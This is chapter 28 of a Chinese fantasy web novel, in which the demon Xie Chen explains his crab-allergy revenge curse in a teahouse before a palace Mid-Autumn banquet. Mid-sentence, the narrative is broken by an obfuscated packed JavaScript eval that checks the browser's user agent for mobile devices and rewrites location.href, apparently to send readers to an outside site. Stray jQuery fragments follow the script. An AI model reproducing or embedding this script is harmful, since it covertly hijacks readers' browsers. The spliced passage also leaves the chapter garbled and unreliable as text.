28.第二十八章

作品:《宁寰是如何变成白发病娇的

    在闹市区的茶楼,千润下凡以来,解辰是她遇到的第一个魔。


    此处应该说“魔族”吗?可是方圆五百里内都找不见他的同类,这里是混沌世、汤虞国、排斥魔族的妖血穹隆下。


    这一回的异样感有迹可循:一是面对真正的危险,她的观气之术竟失效了,二是她一直以为,总览三界的仙人当然对混沌世有着充分的了解,可直到最近才发现,这根本就是错觉。


    只是从昨晚持续到现在的无力感尚未消退,又平添了一肚子的疑惑。前后都是沼泽,她还能往哪退避?说实话,好奇心倒被重新激起了,可是该从哪里问起?能让魔族钻了空子,说明汤虞国的结界有漏洞,百姓的安宁全是虚构的?复仇者煞费苦心,为的只是让仇人偶尔尝尝吃错东西的苦头,值得吗?由妖入魔是什么感受,当坏蛋的痛快会盖过分筋错骨之苦吗?


    想到最后,她把视线频频投向宁寰,愈发确信被天道选中又被天道放过,纯属他祖上烧高香——这样一张脸要是一块一块地变黑,未免也太可惜了!


    那么千润就选出了目前最想知道的问题:“那个……你疼不疼?”


    解辰一愣,接着朗声大笑:“活了这么久,还是头一回听到有人问一个魔族‘疼不疼’!实话告诉你吧,我只觉得后悔,后悔为什么没有早点走上这条路,舍了□□妖胎,换得一身轻松!”


    千润一点也笑不出来:“据我所知,许多妖类苦苦修炼,为的就是早日化成人形乃至登仙,这样才能彻底脱离浊冥地……”


    “姑娘有句话说对了,凡事都有代价。”解辰笑得多粲然,周身的黑雾就有多浓重,“我不喜欢待在原地苦等,想要打动天道,第一个做出改变的人总得付出血和泪的代价。”


    千润喃喃道:“莫非第一个入魔的人也是这么想的……”


    “第一个‘入魔’?姑娘觉得,本源的魔族并不存在?”解辰拨弄一下墨菊的枝叶,道:“我明白你的意思,哪有天生的坏人呢?可是咱们这个寰宇已经存在太久太久了,日月轮转、朝代更替,现存的种族离根系越来越远,最终变成什么样子,端看后来人如何向他们的后来人述说。”


    “那……入魔之后还有反悔的可能吗?”


    解辰笑得更大声了。宁寰也不知道在羞赧什么,戳戳她的肩膀,不好意思地介绍道:“她叫映雪,平时有事没事就爱喝点。”


    正说着,忽觉背上一阵酥麻,回头看时,是千润无意识地在那上面摸来摸去。


    “机会难得,你要不要问点务实的?比如说,这样的复仇有意义吗?”宁寰像是被她摸来劲了,转过头来,语带挑衅,“如果只是想让陈和靖误食螃蟹,犯得着这样精心布局吗?”


    “哎,别把我们说得那么算无遗策,时间还是浪费了不少的。”解辰嗅到一丝不客气,要么他被宁寰先入为主地指为主持公道者,要么他不理解混沌世的打杂宫女和太子不可一视同仁,当即打圆场道:“一开始的计划是我借着身形的便宜去玄鹤观破坏结界,可我到了最后一步还是没能下定决心,所以耽误到今天才动手。”


    宁寰道:“这不怪你,都是因为有些人心肠歹毒,最坏的就是把一些‘典型’的鳏寡孤独收留在玄鹤观,还给那些惨死的所谓‘烈女’著书立传,解辰又倒霉,化了人形便学会了识字,不慎动了恻隐之心。”


    “不不,我也是跟着净纯殿下在东市西市布施了这么些天,耳濡目染的,也染上了怜贫惜弱的毛病。”


    被呛了声,宁寰也不接招,脸色一变,严肃道:“你留着陈和靖的命,我替汤虞国全国百姓感谢你;但你杀了他再破坏结界,那也是替天行道,无可厚非。”


    解辰托着下巴笑了:“玩笑归玩笑,别把我一个魔族说得那么良善,归根结底还是我解除了目力限制,看到你们汤虞国的未来——实在是值得庆祝!”


    “实在是值得庆祝。”宁寰面无表情地重复了一遍,举起茶杯,和他同时敲了敲桌沿。


    “我也够怪的,入魔之后好像就失去了所有立场,除了满足私心,每天只等着三界一起完蛋。”以冷透的茶水润喉,解辰自嘲起来。


    他看向窗外,把一个问句抛向天上:“成仙后也会变成这幅样子吗?那还是不成仙来得好。”


    宁寰替清净天回答他:“你能想通这点,就比很多仙人要超凡脱俗了。”


    解辰瞥一眼千润,向对面的人抱拳道:“还得感谢你最后剩的那滴—— ”


    宁寰咳嗽一声,打断他:“也离不了你自己的开悟。”


    “倒是你,你要一直做凡人吗?换做我,都到这步田地了还留在俗世中作甚,早登极乐去得了。”


    宁寰挠挠下巴,移开了视线:“登什么极乐,你就会拿我取笑,神仙多可怜啊,我现在这样就挺好的。”


    可怜的千润听得云里雾里:“私心?他要满足什么私心?”


    宁寰也不揪她的重点捕捉能力了,趁心情不错,慷慨解答:“蜃妖国主做缩头乌龟,解辰心里不服气,这个换字的诅咒,看似是垂髫小儿的恶作剧,但附上入魔那一瞬间爆发出的念力可就没这么简单了。想想这个问题,为什么有的人天生不耐某种食物?这是天道在惩治他累世的贪念,贪念损害阳寿,可被损害的阳寿去了哪里?正是利用这点,在诅咒的作用下,每当有蟹肉不耐者误食螃蟹,为此产生大大小小的症状,都会把寿数上供给蜃妖一族、细大不捐;解辰入魔一天,这个针对全人类的诅咒便会存在一天,这样的复仇才算快慰,你说是也不是?”


    原来还有这层深意,想来解辰也是一片赤诚,入了魔还惦记着族人,至于族人领不领情,那就是另一回事了。千润看宁寰一副站着说话不腰疼的样子,又是怒上心头,想到今晚就要突然从他的生活中消失了,也顾不了情面,径直开骂:“你还敢得意,螃蟹精心里会怎么想?管好你的嘴,否则下次挨打可没人替你出头了。”


    “是,我知道了。”宁寰欺软怕硬地咕哝一句,乖乖低头喝茶。


    同为妖类,千润忍不住打听了那位国主被夺走秘术后的现状,解辰道:“蜃象之术存在不过上千年,躲在黄沙地,国主总有重新修得傍身技艺的一天。总归也是妖术,不如神族的貘术来得坚固持久……”


    宁寰喝光


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028802|160154||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一整杯茶,拿眼瞪千润:“该问的都问完啦?现在你总该明白了吧!还想跑吗?要不是事出有因,你说,我什么时候乱打杀过人?”


    解辰的目光在二人身上分别停留了一下,忽地勾起一抹玩味的笑容:“宁寰师兄,有件事我不确定该不该告诉你,但我觉得你有必要知道一下……”


    知道什么,他这个非妖非魔的凡人时常像被什么上了身似的,也需要喝点符水驱驱魔?


    “——这位映雪姑娘的身上,并不存在我族妖术的痕迹。”


    这话是什么意思?


    千润奇道:“你是说蜃象的痕迹?那当然了,在你之前我一个蜃妖都没见过,它又怎会作用到我身上?”


    她说得理所当然,却眼看着宁寰骤然变了脸色。


    “……解辰,你保证所言非虚?”


    “骗你干嘛?”直到这时,魔族青年的脸上才浮现出一般印象中的邪气,“我只知道又有乐子看咯。”


    不等宁寰结束这段沉默,他起身告辞:“时候不早了,宁寰师兄,大恩不言谢,就此别过,改日再会!说是浊冥地——它还真在脚下!”


    千润眼看着他在狂笑声中化作一阵黑烟,旋转着飞出窗外,像鱼归大海般遁入地下,一粒烟尘都未溅起。楼下,等待的轿夫、来往的行人皆是神色如常,谁都没有注意到他来过。


    桌上只剩那盆墨菊。茶馆风水好,时而有欠债人在这里被乱拳打死,想养好这个品种的花,把它放在这里吸纳血腥气即可——随手把花赏给姗姗来迟的掌柜时,宁寰是这么说的。


    千润目送他上轿,从侧面看,他眼中含着的那颗墨玉棋子好似被冥河的水浇灌过,会长出怎样的奇珍异宝不好说,以视线探去,只觉冰冷彻骨,让人禁不住地打着激灵往后撤。


    ————


    昏晓交界时分,中秋大宴在清越的钟磬声中拉开帷幕。国王携手寿星端坐正殿,同最亲近的人一同欣赏乐舞,外院则坐满了宗室和功臣。


    宴会的装饰颇费了一番功夫,禾姑姑又“因故外出”,贵人与贵礼的缝隙间百花争妍,温玉却缩在一旁形容枯槁。


    千润垂首立在宁寰身后,旁观了一阵儿便明白过来,为什么王后在宴席之前还要自己摆一桌?此刻她头戴沉甸甸的凤冠,身着厚重的朝服,从开宴后约莫挨了一炷香功夫,一直不停歇地接受着来客的觐见和贺礼,宴席准备得再精心,吃不到自己嘴里也是形同虚设。


    席上最为春风得意的还是国王,由梧山圣女南威劝着酒,三两杯下肚,已是红光满面。


    王后对身边事视而不见,在往来宾客的间隙中得以喘息,以手抚摸着独子的寿礼——一盆盛放的墨菊。


    如果不是他瞎编的,宁寰本不是独子。千润想起近二十年的气候记录,汤虞国地处西部,最大的优点便是温暖干燥、少有寒潮,再冷的冬天,又怎会冻死一个小王子?


    眼前的宁寰正和哪位堂亲行酒令,千润莫名不敢多看他的后脑勺一眼,继续把注意力放在天气上……


    仿佛为了回应她,在这个月明星稀的晴朗夜晚,天边隐隐有闷雷滚过。